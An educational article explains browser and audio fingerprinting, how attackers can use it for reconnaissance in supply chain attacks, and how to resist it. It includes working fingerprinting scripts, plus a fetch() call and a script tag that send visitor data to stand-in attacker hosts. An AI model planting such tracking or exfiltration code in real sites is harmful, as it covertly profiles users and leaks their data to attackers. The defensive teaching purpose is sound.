Fingerprinting and supply chain threats

Table of contents

• How traditional tracking works
• What is browser fingerprinting
• An advanced technique: audio fingerprinting
• Supply chain attacks powered by fingerprinting
• What to do to inhibit fingerprinting

---

In recent years, the increasing sophistication of tracking technologies has raised serious concerns in the field of cyber security.

Fingerprinting, often associated with improving user experience, is now a powerful tool also used by malicious actors. Unlike cookies, it doesn’t require storing anything on the user’s device and allows persistent, nearly invisible tracking.

When exploited in supply chain attacks, it becomes a subtle yet dangerous weapon to compromise networks and infrastructure. In this article, we’ll explore what fingerprinting is, how it works, its advanced forms like audio fingerprinting, how it can enable supply chain attacks, and most importantly, how to protect yourself.

How traditional tracking works

In the digital landscape, online user tracking is a foundational technique used by websites and platforms to personalize browsing experiences, optimize advertising strategies, and perform behavioral analytics.

It is a daily practice for thousands of organizations, from large tech companies to small business websites.

Cookies: the most well-known tracking method

The cookie is the most familiar tracking mechanism. It’s a simple text file that a website sends to the user’s browser, which then stores it locally on the user’s device.

On subsequent visits, the browser sends the cookie back to the server, allowing the site to recognize the user, restore preferences, shopping cart contents, or maintain login sessions.

There are several types of cookies:

• First-party cookies
  Created by the website the user is visiting directly, used mainly for functional purposes (e.g., language selection, session management).
• Third-party cookies
  Created by external domains, usually advertising networks, analytics services (e.g., Google Analytics), or social media platforms (e.g., Facebook’s “Like” button). These are the main drivers of user profiling across the web.

Real-world example: ad retargeting with cookies

Let’s say a user browses a sporting goods e-commerce site and views a pair of running shoes. A third-party cookie from a marketing platform like DoubleClick logs this interest.

Hours later, while reading a news site, the user sees an ad showing the same shoes. This is the result of cross-site tracking powered by third-party cookies.

Privacy regulations and browser restrictions

As cookies became central to behavioral profiling and ad targeting—often without clear user consent—they drew increasing scrutiny from privacy advocates and lawmakers. The General Data Protection Regulation (GDPR), enforced in the EU since 2018, introduced strict requirements:

• Clear and detailed cookie disclosures on all websites.
• Explicit user consent required for non-essential cookies (e.g., advertising).
• Right to revoke consent and request data deletion.

In response, websites began using cookie banners to manage user consent. However, this shift pushed many companies to look for alternative methods of maintaining user tracking capabilities—methods not as easily blocked or regulated.

Meanwhile, browser vendors also took action:

• Safari (Apple) introduced Intelligent Tracking Prevention (ITP) to limit the lifespan and scope of cookies, especially third-party ones.
• Firefox (Mozilla) implemented Enhanced Tracking Protection (ETP), which automatically blocks many common tracking scripts.
• Chrome (Google), despite its ties to the ad ecosystem, has announced plans to phase out third-party cookies in favor of its Privacy Sandbox initiative.

Beyond cookies: alternative tracking methods

With traditional cookies losing effectiveness, developers began adopting more sophisticated and less visible tracking methods, such as:

• LocalStorage and SessionStorage
  Browser-based storage mechanisms with larger capacity and persistence than cookies.
• ETags and cache-based tracking
  Exploiting browser cache behaviors and HTTP headers to create identifiers.
• CNAME cloaking
  Disguising third-party trackers as first-party subdomains to avoid detection and bypass browser restrictions.

But the most resilient and privacy-invasive method rising in popularity is undoubtedly fingerprinting.

Why traditional tracking is declining

In short, the cookie-based model is no longer the reliable standard it once was—mainly due to privacy regulations and technical countermeasures by browsers.

The web ecosystem is shifting toward stronger privacy protections, but that doesn’t mean tracking is disappearing. Instead, trackers are evolving—moving from explicit and visible techniques to stealthy, persistent, and hard-to-detect mechanisms like browser fingerprinting and audio fingerprinting.

And within this evolution lies a significant risk: fingerprinting is not just used for marketing. It is increasingly becoming a key weapon in the arsenal of cybercriminals, especially in the context of supply chain attacks.

What is browser fingerprinting

Browser fingerprinting is a method of identifying users based on the unique combination of attributes from their device and browser environment.

Unlike cookies, which store information locally and can be deleted or blocked, a fingerprint is dynamically generated every time a user visits a site. This makes it a particularly powerful and stealthy tracking method.

A unique identity without cookies

The core idea behind fingerprinting is that no two systems are exactly alike. Even small differences in configuration can be enough to uniquely identify a user. Data points used to build a fingerprint may include:

• User-Agent
  The string that describes the browser, its version and the operating system.
• Language and time zone
  Regional settings that vary from user to user.
• Screen resolution and size
  Hardware-related specifications.
• Installed fonts
  Each system has a different combination of characters.
• Active plugins and extensions
  These can be detected in various ways.
• Operating system and hardware architecture.
• Graphics capabilities detected via WebGL.
• Canvas and AudioContext API
  Used to obtain unique signals.

All of this information is combined and hashed into a single string that functions as a digital fingerprint of the device.

Code example: simple fingerprinting in JavaScript

Here’s an example script that collects a few basic fingerprinting attributes and uses them to create a profile:

function getFingerprintData() {

  const fingerprint = {

    userAgent: navigator.userAgent,

    language: navigator.language,

    timeZone: Intl.DateTimeFormat().resolvedOptions().timeZone,

    screen: {

      width: screen.width,

      height: screen.height,

      colorDepth: screen.colorDepth

    },

    plugins: [...navigator.plugins].map(p => p.name),

    canvasHash: getCanvasFingerprint(),

    webglVendor: getWebGLVendor()

  };

  return fingerprint;

}

function getCanvasFingerprint() {

  const canvas = document.createElement('canvas');

  const ctx = canvas.getContext('2d');

  ctx.textBaseline = 'top';

  ctx.font = '16px Arial';

  ctx.fillStyle = '#f60';

  ctx.fillRect(125, 1, 62, 20);

  ctx.fillStyle = '#069';

  ctx.fillText('browser fingerprinting', 2, 15);

  return canvas.toDataURL(); // base64-encoded image

}

function getWebGLVendor() {

  const canvas = document.createElement('canvas');

  const gl = canvas.getContext('webgl');

  const debugInfo = gl.getExtension('WEBGL_debug_renderer_info');

  return gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL);

}

console.log(getFingerprintData());

This script collects a combination of unique parameters such as canvas rendering (via Canvas API) and WebGL renderer, which often vary even between two seemingly identical devices.

The result is a visual and graphical fingerprint that adds to the other technical identifiers.

Real-world analysis: Panopticlick by EFF

One of the best-known tools for evaluating your browser’s fingerprint is Panopticlick by the Electronic Frontier Foundation. This tool shows:

• How unique your browser fingerprint is compared to millions of others.
• Which tracking technologies your browser is vulnerable to.
• Whether your configuration is blocking known trackers effectively.

Surprisingly, even “standard” browser setups are often highly unique, simply because of the large number of variables being combined. This is the true power of fingerprinting: even if no single attribute is unique, their combination often is.

Real-world scenario: fingerprinting in action

Imagine two users accessing the same website in incognito mode, without cookies, and from the same IP range. One has an NVIDIA GPU, the other AMD. Their screen resolutions differ, and one has Office fonts while the other doesn’t. A script collecting this information can distinguish between them consistently, even across sessions.

In cyberattack scenarios, this technique can be used to:

• Track high-value targets even as they try to hide their identity.
• Gather reconnaissance data on supply chain partners.
• Fingerprint internal systems to identify software and hardware for targeted payloads.
• Deliver custom exploits only to specific device profiles, reducing detection risk.

Is a fingerprint stable over time?

Yes and no. Some attributes (like screen resolution or time zone) may change, but others (like GPU details or font sets) are more consistent.

Additionally, modern fingerprinting libraries use fuzzy matching algorithms to recognize returning users even when a few parameters differ slightly.

An advanced technique: audio fingerprinting

Among the most sophisticated and stealthy forms of fingerprinting, audio fingerprinting stands out as a powerful method to identify devices based on how they process sound.

Unlike visual attributes (e.g., screen resolution or canvas rendering), audio fingerprinting measures subtle hardware and software differences in how a browser generates and processes sound waves.

These differences—unnoticeable to the human ear—can be enough to create a unique acoustic signature for each device.

How it works

Audio fingerprinting leverages the AudioContext API, part of the modern browser’s Web Audio API suite. This API allows websites to generate and analyze sounds in real-time, but crucially, it also enables offline processing—which means the fingerprint can be extracted without actually playing sound or alerting the user.

The technique typically includes three main steps:

1. Generate a sound wave
   Usually a sine or triangle wave at a fixed frequency.
2. Process it
   Through a series of audio nodes like oscillators, filters, and compressors.
3. Analyze the result
   By sampling and comparing the output waveform.

Even tiny differences in CPU, digital-to-analog converter (DAC), audio drivers, or browser versions can alter the final output—which is what forms the audio fingerprint.

JavaScript example: extracting an audio fingerprint

Below is a simple proof-of-concept using JavaScript to generate an audio fingerprint in the browser:

async function getAudioFingerprint() {

  const context = new (window.OfflineAudioContext || window.webkitOfflineAudioContext)(1, 44100, 44100);

  const oscillator = context.createOscillator();

  oscillator.type = 'triangle';

  oscillator.frequency.setValueAtTime(10000, context.currentTime); // 10 kHz

  const compressor = context.createDynamicsCompressor();

  compressor.threshold.setValueAtTime(-50, context.currentTime);

  compressor.knee.setValueAtTime(40, context.currentTime);

  compressor.ratio.setValueAtTime(12, context.currentTime);

  compressor.attack.setValueAtTime(0, context.currentTime);

  compressor.release.setValueAtTime(0.25, context.currentTime);

  oscillator.connect(compressor);

  compressor.connect(context.destination);

  oscillator.start(0);

  context.startRendering();

  const renderedBuffer = await new Promise(resolve => {

    context.oncomplete = event => resolve(event.renderedBuffer);

  });

  const output = renderedBuffer.getChannelData(0); // raw audio data

  let hash = 0;

  for (let i = 0; i < output.length; i++) {

    hash += Math.abs(output[i]);

  }

  return hash.toFixed(4); // simplistic fingerprint

}

getAudioFingerprint().then(fp => {

  console.log("Audio Fingerprint:", fp);

});

This script generates a 10 kHz tone, passes it through a dynamic compressor, then captures the resulting waveform data and aggregates it into a simplified numeric hash. The resulting value is highly device-specific, even across machines that appear to be configured identically.

Silent and invisible tracking

The real danger of audio fingerprinting lies in its stealth:

• No audible sound is produced (the entire process runs “silently”).
• There is no visual indication or user prompt.
• It does not appear in browser cookie panels or storage settings.

This makes it almost impossible for the average user to detect or control, and extremely difficult to block without compromising legitimate web functionality.

Why it works so well

Audio fingerprinting is so effective because:

• It relies on low-level hardware characteristics, which are difficult to spoof or change.
• Even two computers from the same manufacturer and model may generate slightly different audio outputs due to factory variation or different driver versions.
• It is resistant to ad blockers and most fingerprinting defenses, especially if the Web Audio API is not explicitly restricted.

Malicious use cases in cyber security

While audio fingerprinting is used by advertisers to improve user profiling, it is also being exploited by threat actorsin more insidious ways. Some examples:

• Reconnaissance in enterprise networks
  Attackers can use audio fingerprints to distinguish between test environments, virtual machines, and real production devices.
• Targeted malware delivery
  Based on specific fingerprint data, malware can be configured to execute only on certain machines with specific audio profiles, avoiding sandbox environments or honeypots.
• Persistent user tracking
  Unlike cookies or IP addresses, the audio fingerprint remains stable across sessions and locations, acting as a long-lasting identifier even when the user switches VPNs or clears storage.

Can you defend against audio fingerprinting?

Defending against this type of fingerprinting is difficult, but not impossible. Here are some countermeasures:

• Disable Web Audio API
  This can sometimes be done in advanced browser settings (e.g., about:config in Firefox), though it may break legitimate websites.
• Use privacy-focused browsers
  Tor Browser disables or limits access to some fingerprinting vectors, including audio.
• Install anti-fingerprinting extensions
  Tools like CanvasBlocker or Trace attempt to spoof or randomize audio data, though their success varies.
• Browse in isolated environments
  Virtual machines or live OS sessions can help isolate fingerprinting attempts from your real hardware.

Why is fingerprinting so pervasive?

In recent years, fingerprinting has emerged as one of the most effective, subtle, and widespread tracking techniques available—used not only by advertisers and data analysts but also by cybercriminals and threat actors.

Unlike traditional tracking mechanisms like cookies, which store data locally and can be cleared or blocked, fingerprinting requires no storage at all.

It’s a passive, invisible form of identification based solely on information that the browser and operating system naturally expose.

Let’s break down the reasons why fingerprinting has become so dominant in online tracking and cyber reconnaissance.

1. Persistence: tracking that doesn’t go away

One of the key strengths of finger printing is its persistence. Since it doesn’t rely on writing anything to disk (like cookies or localStorage), users cannot simply delete it. Even when a user:

• Clears browsing history and cache,
• Enters private/incognito mode,
• Uses a VPN or proxy,
• Switches devices or browser profiles,

the fingerprinting script can recreate a near-identical fingerprint, identifying the same user again with high accuracy.

Practical example

Imagine a website running a script like this every time a user visits:

async function generateFingerprint() {

  const userAgent = navigator.userAgent;

  const timeZone = Intl.DateTimeFormat().resolvedOptions().timeZone;

  const canvasData = getCanvasFingerprint();

  const webglData = getWebGLFingerprint();

  return hashFunction(userAgent + timeZone + canvasData + webglData);

}

No data is stored, yet the same hash value is generated repeatedly from the user’s device characteristics—making the tracker effectively persistent.

2. Invisibility: tracking without any visual cue

Fingerprinting is silent. You don’t get any notifications, consent pop-ups, or warnings in the cookie panel.

There’s nothing to accept or reject. And because these are legitimate interactions with the browser API, they aren’t automatically blocked by standard protections.

Bottom line:

• The fingerprint doesn’t show up in the browser’s “Privacy & Security” panel.
• It doesn’t appear in most ad blockers’ reports.
• It’s indistinguishable from regular JavaScript.

Analogy

If cookies are like license plates attached to a car (visible and removable), fingerprinting is like tracking tire marks left on the road—hard to spot, hard to erase, but highly traceable for those who know where to look.

3. Granularity: detailed profiling at scale

Fingerprinting is powerful because it can collect dozens of device and browser parameters—each one seemingly harmless on its own, but collectively forming a unique identity. These parameters include:

• Does the browser support WebAssembly?
• How many virtual CPUs are there?
• What kind of motion sensor is integrated (on mobile)?
• How does the 2D graphics canvas perform?
• What answers does the Battery API provide?

All these elements contribute to the creation of a much more precise fingerprint than you might think. Furthermore, they can be correlated with behavioral data:

• Cursor movement,
• Click order and dwell time,
• Scrolling speed or idle duration.

Together, these create a multidimensional user profile, extremely hard to spoof or reset.

Example: rich fingerprint object

function getDetailedFingerprint() {

  return {

    platform: navigator.platform,

    deviceMemory: navigator.deviceMemory,

    cpuCores: navigator.hardwareConcurrency,

    canvas: getCanvasFingerprint(),

    languages: navigator.languages.join(", "),

    touchSupport: 'ontouchstart' in window,

    webdriver: navigator.webdriver,

    // Additional hardware signals

  };

}

With dozens of these parameters, even two identical computers can return different fingerprints due to microdifferences in the GPU, installed fonts, and operating system version.

4. Ad-blocker evasion: bypassing privacy defenses

Many modern fingerprinters are built to evade detection by ad blockers and privacy tools. This is because:

• They often don’t load third-party scripts from known ad domains.
• They use native browser APIs, not external beacons.
• They are often embedded directly in the application code, making detection even harder.

Even when extensions block known scripts, the fingerprint can be calculated client-side in real time, without the need for external resources.

A silent surveillance ecosystem

The combination of these features has created an invisible surveillance ecosystem. Users are tracked by multiple entities at once: advertising platforms, web service providers, analytics companies, but also malicious actors who use fingerprinting to:

• Advertising platforms for personalized marketing,
• Data brokers aggregating cross-site behavior,
• Cybercriminals identifying high-value targets,
• State-level actors monitoring dissidents or journalists.

Supply chain attacks powered by fingerprinting

Supply chain attacks have become one of the main vectors of compromise in the world of cyber security.

In an environment where software, libraries, and components are shared among multiple stakeholders, even a single vulnerability can have devastating consequences.

In this context, fingerprinting is used by malicious actors to:

• Identify weak targets within the chain (e.g., suppliers with minimal security measures)
• Gather specific information about operating systems, browsers, and configurations used by supply chain partners
• Build detailed profiles of internal networks, aiding in the reconnaissance phase of an attack
• Deliver targeted payloads based on the collected profiles, increasing the likelihood of successful execution

A well-known example is the SolarWinds attack, where the compromise of a shared library enabled malware to spread across hundreds of organizations.

Although fingerprinting wasn’t the primary vector in that case, it’s easy to see how it could be used to facilitate similar attacks by improving targeting accuracy.

Moreover, through malicious CDNs or infected third-party scripts, fingerprinting code can be injected directly into legitimate pages, allowing the tracking of visitors and business partners.

How attackers use fingerprinting in supply chain threats

Fingerprinting is not the attack itself, but a preparation and precision technique, which allows attackers to:

1. Identify weak or exposed systems

Attackers can embed fingerprinting scripts into compromised pages or pages distributed via malicious CDNs to gather detailed information about who is accessing:

fetch("https://maliciouscdn.net/track", {

  method: "POST",

  body: JSON.stringify({

    userAgent: navigator.userAgent,

    timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,

    screen: {

      width: screen.width,

      height: screen.height

    },

    webgl: getWebGLVendor()

  })

});

This way, they can find out if the visitor is a vendor, a legacy system, an administrator, etc.

2. Map internal networks and environments

Once enough fingerprints are collected, attackers can build a technical profile of the networks (OS, browsers, extensions, resolutions, WebGL vendors, etc.) to:

• Understand the structure of a corporate network.
• Understand which systems are using vulnerable versions of software.
• Determine whether they are in a sandbox, a honeypot, or a real environment.

3. Deliver tailored malware or exploits

With this intelligence, attackers can craft customized payloads that:

• An exploit for a specific version of Chrome on Windows 10.
• A loader that only works if it detects a specific GPU vendor.
• A malware that does not run on virtualized environments.

4. Evade security tools and analysts

Fingerprints can also be used to detect when malware is being analyzed:

• If the fingerprint reveals virtualization or emulation, the malware lies dormant.
• If the fingerprint indicates a honeypot or threat researcher, the code avoids execution.

This makes malware selective and stealthy, reducing the chance of early discovery.

Real-world reference: SolarWinds (and what could’ve been worse)

In the infamous SolarWinds attack, a backdoored library was distributed through legitimate software updates. It affected:

• U.S. government agencies,
• Global enterprises,
• Security vendors.

Though fingerprinting wasn’t central to the breach, it’s easy to imagine how fingerprinting could have:

• Refined targeting, infecting only high-value endpoints,
• Avoided test environments, reducing detection,
• Custom-tailored payloads for specific network zones or device types.

Distribution techniques: infected scripts and CDNs

Another vector is the infection of third-party scripts (analytics, widgets, chat, etc.). Attackers can inject fingerprinting code into remote resources:

<script src="https://cdn.fakeanalytics.com/fingerprint.js"></script>

This script can profile visitors to the page and send data to servers controlled by attackers, without the host company being aware of it.

What to do to inhibit fingerprinting

Is it possible to stop fingerprinting?

Fingerprinting is a difficult technique to block precisely because it leaves no visible traces, does not save anything locally and uses legitimate APIs offered by browsers.

However, there are more or less effective strategies that allow you to mitigate its effects, limiting the uniqueness of your profile and reducing the probability of being tracked.

Still, there are several strategies to limit its effectiveness.

1. Use privacy-focused browsers

Some browsers are designed to resist tracking and fingerprinting:

• Tor Browser
  Unifies the fingerprint for all users, blocks many fingerprinting APIs.
• Brave
  Includes built-in protection against scripts, trackers, ads, and fingerprinting.
• Firefox
  With the privacy.resistFingerprinting flag set to true, it reduces uniqueness.

Example: enable fingerprinting protection in Firefox

Go to:

about:config

Search for privacy.resistFingerprinting and set it to true.

2. Install anti-fingerprinting extensions

Several browser extensions help obscure or block fingerprinting vectors:

• Privacy Badger
  Learns and blocks tracking scripts.
• uBlock Origin
  Blocks malicious or suspicious scripts.
• CanvasBlocker
  Spoofs or disables Canvas API data.
• Trace, Chameleon, NoScript
  Provide custom rules to disable or randomize fingerprintable elements.

These tools may break websites that depend on JavaScript and complex interactions.

3. Use containers and browser isolation

Firefox Multi-Account Containers allow you to separate browsing contexts (cookies, storage, local state) between tabs.

This prevents a fingerprint from linking all your online activity.

Practical example:

• One container for Google accounts
• One for shopping
• One for social media

4. Control JavaScript execution

Since almost all fingerprinting relies on JavaScript, disabling it completely prevents fingerprinting—but at a high cost.

• Tools like NoScript can let you allow JS only for trusted sites.
• You can block third-party scripts with uBlock rules.

Many sites will not work properly without JavaScript.

5. Use virtual machines or sandboxed browsers

Advanced users can create fully isolated environments using:

• Virtual machines (e.g., VirtualBox, KVM)
• Sandboxed browsers (e.g., Firejail, Qubes OS, Whonix)
• Live operating systems like Tails (resets on reboot)

These make persistent fingerprinting nearly impossible.

6. VPNs and proxy networks

While VPNs don’t prevent fingerprinting, they hide your IP address and location, making it harder to link the fingerprint to your real identity.

They are especially useful when combined with browser-level protections.

Final setup example:

• Browser: Tor with hardened Firefox
• Add-ons: uBlock Origin + CanvasBlocker
• Network: VPN + secure DNS
• Environment: Container or VM

Result: hard-to-calculate fingerprint, masked IP, protected identity.

---

Questions and answers

1. What is fingerprinting in cyber security?
   It’s a method of identifying devices based on their unique browser and system attributes.
2. How is fingerprinting different from cookies?
   It doesn’t require storing data and can’t be cleared by the user like cookies.
3. Is fingerprinting legal?
   It can be legal under certain conditions but must comply with privacy laws like GDPR.
4. What is audio fingerprinting?
   A technique that identifies a device by analyzing how it processes sound via the browser.
5. How does fingerprinting enable supply chain attacks?
   It helps attackers profile partners and systems to craft tailored attacks.
6. Which browsers protect against fingerprinting?
   Tor, Brave, and Firefox (with extensions) offer varying levels of protection.
7. Can extensions block fingerprinting?
   Yes, many tools can block or spoof fingerprinting attempts.
8. Can fingerprinting be completely avoided?
   Not entirely, but its effectiveness can be greatly reduced.
9. Is fingerprinting only used by hackers?
   No—it’s also used by advertisers and analytics companies, though its misuse is growing.
10. Why is fingerprinting considered a threat?
    It’s persistent, hard to detect, and often used to facilitate cyber attacks.